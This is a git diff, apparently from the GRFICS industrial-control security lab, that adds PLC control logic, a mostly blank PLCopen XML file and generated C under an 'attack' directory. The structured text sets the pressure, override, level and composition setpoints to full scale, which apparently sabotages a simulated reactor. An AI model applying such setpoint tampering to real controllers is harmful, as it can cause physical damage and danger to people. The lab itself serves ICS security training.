UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// 